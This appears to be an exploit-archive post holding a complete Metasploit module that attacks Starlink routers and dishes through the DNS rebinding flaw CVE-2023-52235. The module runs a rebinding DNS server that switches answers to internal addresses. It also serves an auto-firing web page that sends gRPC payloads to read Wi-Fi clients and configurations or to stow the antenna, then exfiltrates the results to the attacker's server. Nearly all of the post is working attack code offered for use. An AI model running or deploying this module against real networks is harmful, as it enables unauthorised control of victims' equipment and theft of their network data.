📄 Starlink DNS Rebinding

==================================================================================================================================
    | # Title     : DNS Rebinding Exploit Module                                                                                     |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : indoushka                                                                                                        |
    ==================================================================================================================================
    
    [+] Summary    : This Metasploit auxiliary module implements a DNS rebinding attack targeting Starlink infrastructure (CVE-2023-52235). 
                     The updated version focuses on improved stability and reliability by introducing safer DNS parsing, session tracking, memory handling, and basic rate limiting.
                     The module operates by running a malicious DNS server that dynamically switches responses from a public IP to internal network targets, enabling access to internal services. 
    				 It also hosts an HTTP server to deliver a client-side attack page and handle data exfiltration.
    
    [+] Key enhancements include:
    
    Robust DNS query parsing with compression handling safeguards
    Per-client session tracking with automatic cleanup
    Validation of DNS query type/class
    Controlled TTL behavior to ensure rebinding effectiveness
    Thread-safe data collection and exfiltration handling
    Input size validation to prevent memory abuse
    Graceful error handling and resource cleanup
    
    Overall, this version provides a more stable and controlled exploitation workflow suitable for testing DNS rebinding scenarios in Starlink environments.
    
    [+] POC   :  
    
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpServer
      include Msf::Auxiliary::Report
      
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Starlink DNS Rebinding Exploit (CVE-2023-52235) ',
            'Description' => %q{
              This module exploits CVE-2023-52235, a DNS rebinding vulnerability
              in Starlink Routers and Dishy (all generations before 2023.53.0).
              
               },
            'Author' => [
              'indoushka' 
            ],
            'References' => [
              ['CVE', '2023-52235'],
              ['URL', 'https://github.com/hackintoanetwork/CVE-2023-52235']
            ],
            'DisclosureDate' => '2023-12-20',
            'License' => MSF_LICENSE,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
        
        register_options([
          OptString.new('DOMAIN', [true, 'Domain name for DNS rebinding', 'attacker.com']),
          OptAddress.new('PUBLIC_IP', [true, 'Public IP of the attacker server', '0.0.0.0']),
          OptPort.new('DNS_PORT', [true, 'DNS server port', 53]),
          OptEnum.new('ATTACK', [true, 'Attack type to execute', 'all', ['all', 'wifi_clients', 'wifi_config', 'dishy_config', 'stow', 'unstow']]),
          OptBool.new('AUTO_ATTACK', [true, 'Attack automatically when page loads', true]),
          OptInt.new('DNS_TTL', [true, 'DNS TTL in seconds (0-255)', 1])
        ])
      end
      
      def setup
        @domain = datastore['DOMAIN']
        @public_ip = datastore['PUBLIC_IP']
        @dns_port = datastore['DNS_PORT']
        @attack_type = datastore['ATTACK']
        @auto_attack = datastore['AUTO_ATTACK']
        @dns_ttl = datastore['DNS_TTL']
        @dns_ttl = 1 if @dns_ttl == 0  
        @internal_targets = ['192.168.1.1', '192.168.100.1']
    
        @collected_data = []
        @data_lock = Mutex.new
    
        @dns_running = false
        @dns_thread = nil
        @client_sessions = {}
        @session_lock = Mutex.new
        
        super
      end
      
      def run
        print_status("Starting Starlink DNS Rebinding Exploit (CVE-2023-52235)")
        print_status("Domain: #{@domain}")
        print_status("Public IP: #{@public_ip}")
        print_status("DNS Port: #{@dns_port}")
        print_status("DNS TTL: #{@dns_ttl}")
        print_status("HTTP Port: #{datastore['SRVPORT']}")
        print_status("Attack Type: #{@attack_type}")
        print_status("Auto Attack: #{@auto_attack}")
    
        start_dns_server
    
        start_service({
          'Uri' => {
            'Proc' => proc { |cli, req| on_request(cli, req) },
            'Path' => '/'
          }
        })
        
        print_good("HTTP server started on port #{datastore['SRVPORT']}")
        print_good("Victim URL: http://#{@domain}:#{datastore['SRVPORT']}/")
        print_status("Waiting for victim to visit the page...")
    
        last_cleanup = Time.now
        cleanup_interval = 60
        
        while @dns_running
                if Time.now - last_cleanup > cleanup_interval
            cleanup_old_sessions
            last_cleanup = Time.now
          end
          select(nil, nil, nil, 1)
        end
      end
      
      def cleanup_old_sessions
        @session_lock.synchronize do
          now = Time.now.to_i
                @client_sessions.keys.each do |client_id|
            if now - @client_sessions[client_id][:last_seen] > 30
              @client_sessions.delete(client_id)
            end
          end
        end
      end
      
      def start_dns_server
        @dns_running = true
        @dns_thread = Rex::ThreadFactory.spawn('DNSRebinding', false) do
          begin
            dns_sock = nil
            dns_sock = Rex::Socket::Udp.create(
              'LocalHost' => '0.0.0.0',
              'LocalPort' => @dns_port
            )
            
            print_good("DNS server started on port #{@dns_port} (TTL=#{@dns_ttl})")
            
            while @dns_running
              begin
    
                data, addr = dns_sock.recvfrom(512)
                next if data.nil? or data.length < 12
    
                query_id = data[0,2].unpack('n')[0]
                qdcount = data[4,2].unpack('n')[0]
                next if qdcount == 0
    
                pos = 12
                qname = ''
                jumps = 0
                max_jumps = 10
                
                while true
                  break if pos >= data.length
                  len = data[pos].ord
    
                  if (len & 0xC0) == 0xC0
                    jumps += 1
                    if jumps > max_jumps
                      print_warning("[DNS] Compression loop detected from #{addr[0]}")
                      break
                    end
                    if pos + 1 >= data.length
                      break
                    end
                    pointer = ((len & 0x3F) << 8) | data[pos + 1].ord
                    pos = pointer
                    next
                  end
                  
                  break if len == 0
                  pos += 1
                  if pos + len > data.length
                    break
                  end
                  qname << data[pos, len] + '.'
                  pos += len
                end
                qname = qname[0..-2] if qname.end_with?('.')
                pos += 1
                
                next if pos + 4 > data.length
                qtype = data[pos,2].unpack('n')[0]
                pos += 2
                qclass = data[pos,2].unpack('n')[0]
                pos += 2
    
                next unless qtype == 1 
                next unless qclass == 1  
                next unless qname.to_s.downcase == @domain.downcase
                
                question_data = data[12, pos - 12]
    
                client_id = "#{addr[0]}:#{addr[1]}"
                
                @session_lock.synchronize do
                  @client_sessions[client_id] ||= { stage: 0, last_seen: Time.now.to_i }
                  @client_sessions[client_id][:last_seen] = Time.now.to_i
                end
                
                stage = @client_sessions[client_id][:stage]
                @client_sessions[client_id][:stage] += 1
    
                if stage == 0
                  ip = @public_ip
                  print_status("[DNS] #{addr[0]}:#{addr[1]} Stage 1 -> #{ip}")
                else
                  ip = @internal_targets[(stage - 1) % @internal_targets.length]
                  print_status("[DNS] #{addr[0]}:#{addr[1]} Stage #{stage + 1} -> #{ip}")
                end
    
                response = ''
                response << [query_id].pack('n')
                response << [0x8180].pack('n')  
                response << [1].pack('n') 
                response << [1].pack('n') 
                response << [0].pack('n')  
                response << [0].pack('n') 
                response << question_data
                
              
                NAME_POINTER = 0xC00C
                response << [NAME_POINTER].pack('n')
                response << [1].pack('n')  
                response << [1].pack('n') 
                response << [@dns_ttl].pack('N')
                response << [4].pack('n') 
                response << ip.split('.').map(&:to_i).pack('C4')
                
                dns_sock.send(response, 0, addr[0], addr[1])
              rescue ::Interrupt
                break
              rescue => e
                print_error("DNS error: #{e}")
              end
            end
            
            dns_sock.close if dns_sock
          rescue => e
            print_error("Failed to start DNS server: #{e}")
            @dns_running = false
          end
        end
      end
      
      def stop_dns_server
        @dns_running = false
        if @dns_thread
          @dns_thread.kill
          @dns_thread.join
        end
      end
      
      def on_request(cli, req)
      
        sleep(0.001)
        
        if req.method == 'GET' && req.uri == '/'
          send_attack_page(cli)
        elsif req.method == 'POST'
          handle_exfiltration(cli, req)
        else
          send_not_found(cli)
        end
      end
      
      def send_attack_page(cli)
        html = generate_attack_page
        send_response(cli, 200, 'text/html', html)
      end
      
      def handle_exfiltration(cli, req)
      
        if req.body.length > 1024 * 1024 
          send_response(cli, 413, 'application/json', '{"status":"payload too large"}')
          return
        end
        
        begin
    
          data = JSON.parse(req.body.force_encoding('UTF-8'))
          @data_lock.synchronize do
            @collected_data << data
           
            if @collected_data.length > 1000
              @collected_data = @collected_data.last(500)
            end
          end
          
          print_good("Exfiltrated: #{data['type']} - #{data['data'].to_s[0..100]}")
          
         
          report_note(
            host: cli.peerhost,
            type: "starlink.#{data['type']}",
            data: data,
            update: :unique_data
          )
          
          send_response(cli, 200, 'application/json', '{"status":"received"}')
        rescue JSON::ParserError => e
          print_error("JSON parse error: #{e}")
          send_response(cli, 400, 'application/json', '{"status":"invalid json"}')
        rescue => e
          print_error("Failed to process exfiltration: #{e}")
          send_response(cli, 500, 'application/json', '{"status":"error"}')
        end
      end
      
      def send_response(cli, status, content_type, body)
        
        body = body.to_s
        cli.send_response(status)
        cli.send_header('Content-Type', content_type)
        cli.send_header('Content-Length', body.bytesize)
        cli.send_header('Cache-Control', 'no-store, no-cache, must-revalidate')
        cli.send_header('X-Content-Type-Options', 'nosniff')
        cli.end_headers
        cli.send_body(body)
      end
      
      def send_not_found(cli)
        send_response(cli, 404, 'text/plain', 'Not Found')
      end
      
      def generate_attack_page
        commands = {
          'wifi_clients' => {
            'host' => '192.168.1.1',
            'port' => 9001,
            'path' => '/SpaceX.API.Device.Device/Handle',
            'payload' => 'AAAABNK7AQA='
          },
          'wifi_config' => {
            'host' => '192.168.1.1',
            'port' => 9001,
            'path' => '/SpaceX.API.Device.Device/Handle',
            'payload' => 'AAAAAcq7AQA='
          },
          'dishy_config' => {
            'host' => '192.168.100.1',
            'port' => 9201,
            'path' => '/SpaceX.API.Device.Device/Handle',
            'payload' => 'AAAAAu+JAQA='
          },
          'stow' => {
            'host' => '192.168.100.1',
            'port' => 9201,
            'path' => '/SpaceX.API.Device.Device/Handle',
            'payload' => 'AAAAA5J9AA=='
          },
          'unstow' => {
            'host' => '192.168.100.1',
            'port' => 9201,
            'path' => '/SpaceX.API.Device.Device/Handle',
            'payload' => 'AAAABZJ9AgEI'
          }
        }
        
        commands_json = JSON.generate(commands)
        target_domain = @domain
        attack_cmd = @attack_type
        auto_attack_js = ''
    
        if @auto_attack
          delay = 3000  
          auto_attack_js = "setTimeout(() => { attack(\"#{attack_cmd}\"); }, #{delay});"
        end
        
        return <<~HTML
          <!DOCTYPE html>
          <html>
          <head>
              <meta charset="UTF-8">
              <title>Starlink DNS Rebinding Exploit - CVE-2023-52235</title>
              <style>
                  body { background: #0a0a0a; color: #0f0; font-family: monospace; padding: 20px; }
                  .container { max-width: 1200px; margin: 0 auto; background: #111; border: 1px solid #0f0; border-radius: 8px; padding: 20px; }
                  h1 { color: #f60; text-align: center; }
                  .status { background: #000; padding: 15px; border-radius: 4px; margin: 20px 0; height: 200px; overflow-y: auto; font-size: 12px; }
                  button { background: #f60; color: #000; border: none; padding: 10px 20px; margin: 5px; cursor: pointer; border-radius: 4px; font-weight: bold; }
                  button:hover { background: #f80; }
                  .danger { background: #c00; color: #fff; }
              </style>
          </head>
          <body>
          <div class="container">
              <h1> CVE-2023-52235 - Starlink DNS Rebinding Exploit </h1>
              <p>Target: <strong>#{target_domain}</strong></p>
              
              <div>
                  <button onclick="attack('all')"> FULL ATTACK</button>
                  <button onclick="attack('wifi_clients')">Wi-Fi Clients</button>
                  <button onclick="attack('wifi_config')">Wi-Fi Config</button>
                  <button onclick="attack('dishy_config')"> Dishy Config</button>
                  <button onclick="attack('stow')" class="danger"> STOW ANTENNA</button>
                  <button onclick="attack('unstow')"> UNSTOW</button>
              </div>
              
              <div><h3>Status:</h3><div id="status" class="status">[+] Ready...</div></div>
              <div><h3>Exfiltrated Data:</h3><div id="results" class="status">[-] No data yet</div></div>
          </div>
          
          <script>
              const TARGET = "#{target_domain}";
              const COMMANDS = #{commands_json};
              let messageCount = 0;
              const MAX_MESSAGES = 200;
              
              function log(msg, type) {
                  type = type || 'info';
                  const div = document.getElementById('status');
                  const colors = {info: '#0af', success: '#0f0', error: '#f00'};
                  const color = colors[type] || '#fff';
                  
                  messageCount++;
                  if (messageCount > MAX_MESSAGES) {
                      while (div.children.length > MAX_MESSAGES / 2) {
                          div.removeChild(div.firstChild);
                      }
                      messageCount = div.children.length;
                  }
                  
                  div.innerHTML += `<div style="color:${color}">[${new Date().toLocaleTimeString()}] ${msg}</div>`;
                  div.scrollTop = div.scrollHeight;
              }
              
              function exfiltrate(type, data) {
                  fetch('/', {
                      method: 'POST',
                      headers: {'Content-Type': 'application/json'},
                      body: JSON.stringify({type: type, data: data, timestamp: new Date().toISOString()})
                  }).catch(e => console.log(e));
                  
                  const resultsDiv = document.getElementById('results');
                  const dataStr = typeof data === 'string' ? data : JSON.stringify(data).substring(0, 200);
                  
                  while (resultsDiv.children.length > 100) {
                      resultsDiv.removeChild(resultsDiv.firstChild);
                  }
                  
                  resultsDiv.innerHTML = `<div style="color:#0f0">[${new Date().toLocaleTimeString()}] ${type}: ${dataStr}</div>` + resultsDiv.innerHTML;
              }
              
              async function sendGRPCRequest(cmd, config) {
                  const url = `http://${TARGET}:${config.port}${config.path}`;
                  const payloadBytes = Uint8Array.from(atob(config.payload), c => c.charCodeAt(0));
                  
                  const compressionFlag = new Uint8Array([0]);
                  const lengthBytes = new Uint8Array(4);
                  new DataView(lengthBytes.buffer).setUint32(0, payloadBytes.length, false);
                  
                  const framedPayload = new Uint8Array(1 + 4 + payloadBytes.length);
                  framedPayload.set(compressionFlag, 0);
                  framedPayload.set(lengthBytes, 1);
                  framedPayload.set(payloadBytes, 5);
                  
                  log(`Sending ${cmd} to ${config.host}:${config.port}...`, 'info');
                  
                  try {
                      const response = await fetch(url, {
                          method: 'POST',
                          headers: {
                              'Content-Type': 'application/grpc-web+proto',
                              'x-grpc-web': '1',
                              'Accept': 'application/grpc-web+proto'
                          },
                          body: framedPayload,
                          cache: 'no-store',
                          credentials: 'omit'
                      });
                      
                      if (response.ok) {
                          const responseData = await response.arrayBuffer();
                          log(`${cmd} SUCCESS! Response: ${responseData.byteLength} bytes`, 'success');
                          exfiltrate(cmd, {status: 'success', length: responseData.byteLength});
                          return {success: true};
                      } else {
                          log(`${cmd} FAILED: HTTP ${response.status}`, 'error');
                          exfiltrate(cmd, {status: 'failed', http: response.status});
                          return {success: false};
                      }
                  } catch(e) {
                      log(`${cmd} ERROR: ${e.message}`, 'error');
                      exfiltrate(cmd, {status: 'error', error: e.message});
                      return {success: false};
                  }
              }
              
              async function attack(type) {
                  log(`Starting attack: ${type}`, 'info');
                  
                  if (type === 'all') {
                      for (const [cmd, config] of Object.entries(COMMANDS)) {
                          await sendGRPCRequest(cmd, config);
                          await new Promise(r => setTimeout(r, 2000));
                      }
                  } else if (COMMANDS[type]) {
                      await sendGRPCRequest(type, COMMANDS[type]);
                  } else {
                      log(`Unknown command: ${type}`, 'error');
                  }
                  
                  log(`Attack completed: ${type}`, 'success');
              }
              
              log("Attack page loaded. Target domain: " + TARGET, 'info');
              #{auto_attack_js}
          </script>
          </body>
          </html>
        HTML
      end
      
      def cleanup
        print_status("Cleaning up...")
        stop_dns_server
        super
      end
    end
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================